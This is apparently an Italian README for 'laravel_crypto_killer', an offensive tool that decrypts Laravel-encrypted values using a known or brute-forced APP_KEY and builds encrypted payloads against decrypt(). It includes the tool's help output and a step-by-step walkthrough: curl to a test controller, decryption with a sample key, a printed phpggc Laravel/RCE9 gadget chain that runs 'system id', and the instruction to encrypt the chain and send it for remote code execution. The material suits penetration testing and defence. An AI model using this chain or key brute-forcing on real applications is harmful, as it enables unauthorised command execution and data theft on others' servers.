
Uno strumento progettato per sfruttare implementazioni errate dei meccanismi di decrittazione nelle applicazioni Laravel.
Uno strumento progettato per sfruttare implementazioni non corrette dei meccanismi di decifratura nelle applicazioni Laravel.
Questo strumento è stato inizialmente progettato per creare payload mirati alla funzione decrypt() di Laravel del pacchetto Illuminate\Encryption.
Può inoltre essere utilizzato per decifrare qualsiasi dato cifrato tramite encrypt() o encryptString().
Lo strumento richiede una APP_KEY valida; puoi anche provare a forzarla tramite bruteforce se ritieni che ci sia un potenziale riutilizzo di chiavi da un progetto pubblico, ad esempio.
Autori dello strumento: @_remsio_ @Kainx42.
Per ogni opzione è disponibile un helper per usare lo strumento:
$ ./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {exploit,encrypt,decrypt,bruteforce} ...
___ _ ___ _ __ _ _
(O O) (_ ) ( O_`\ ( )_ ( O) _(_ )(_ )
| | _ _ _ __ _ _ _ _ __ | | | ( (_)_ __ _ _ _ _ | ,_) _ | |/')(_)| | | | __ _ __
| | /'_` ( '__/'_` ( ) ( )/'__`\| | | | _( '__( ) ( ( '_`\| | /'_`\ | , < | || | | | /'__`( '__)
< |__ ( (_| | | ( (_| | \_/ ( ___/| | < (_( | | | (_) | (_) | |_( (_) ) < | \`\| || | | |( ___| |
<_____/`\__,_(_) `\__,_`\___/`\____(___) <_____/(_) `\__, | ,__/`\__`\___/' <__) (_(_(___(___`\____(_)
( )_| | |
`\___/(_)
This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
It can also be used to decrypt any data encrypted via encrypt() or encryptString().
The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.
Authors of the tool : @_remsio_, @Kainx42
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
options:
-h, --help show this help message and exit
subcommands:
You can use the option -h on each subcommand to get more info
{exploit,encrypt,decrypt,bruteforce}
exploit Exploit mode
encrypt Encrypt mode
decrypt Decrypt mode
bruteforce Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.
$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE
optional arguments:
-h, --help show this help message and exit
--key KEY, -k KEY Key used by Laravel stored in APP_KEY in .env
--value VALUE, -v VALUE
Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
--session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain
La funzione decrypt di Illuminate\Encryption è spesso utilizzata nelle applicazioni Laravel. Di default, gestisce dati serializzati e li cifra utilizzando la chiave segreta di Laravel memorizzata in APP_KEY.
namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
{
$payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$decrypted = \openssl_decrypt(
$payload['value'], $this->cipher, $this->key, 0, $iv
);
if ($decrypted === false) {
throw new DecryptException('Could not decrypt the data.');
}
return $unserialize ? unserialize($decrypted) : $decrypted;
}
La policy di Laravel, al momento, è quella di non correggere le gadget chain.
Pertanto, un utente in grado di inviare dati a una funzione decrypt e in possesso della chiave segreta dell'applicazione potrà ottenere l'esecuzione remota di comandi su un'applicazione Laravel.
Il seguente controller può essere utilizzato per testare lo strumento:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
class EncryptController extends Controller
{
public function encrypt(string $toencrypt): Response
{
$result = encrypt($toencrypt);
return response($result, 200);
}
public function decrypt(string $todecrypt): Response
{
$result = decrypt($todecrypt);
return response($result, 200);
}
}
Utilizzando il valore di APP_KEY, è possibile decifrare i dati con laravel_crypto_killer.
Per prima cosa, recupera un valore generato dalla funzione encrypt.
$ curl http://localhost/encrypt/aaa
eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
Puoi quindi decifrarlo se sei in possesso di una APP_KEY valida.
$ ./laravel_crypto_killer.py decrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
[+] Unciphered value identified!
[*] Unciphered value
s:3:"aaa";
[*] Base64 encoded unciphered version
b'czozOiJhYWEiOwYGBgYGBg=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!
Se nei risultati di una decifratura viene identificato un dato serializzato, probabilmente sarai in grado di ottenere l'esecuzione remota di comandi. Per farlo, usa phpggc, sviluppato da Charles Fol, per generare una gadget chain. È meglio cercare di utilizzare una versione di PHP corrispondente.
$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
Puoi quindi usare questo valore, cifrarlo con laravel_crypto_killer e infine inviarlo al server per ottenere la tua RCE!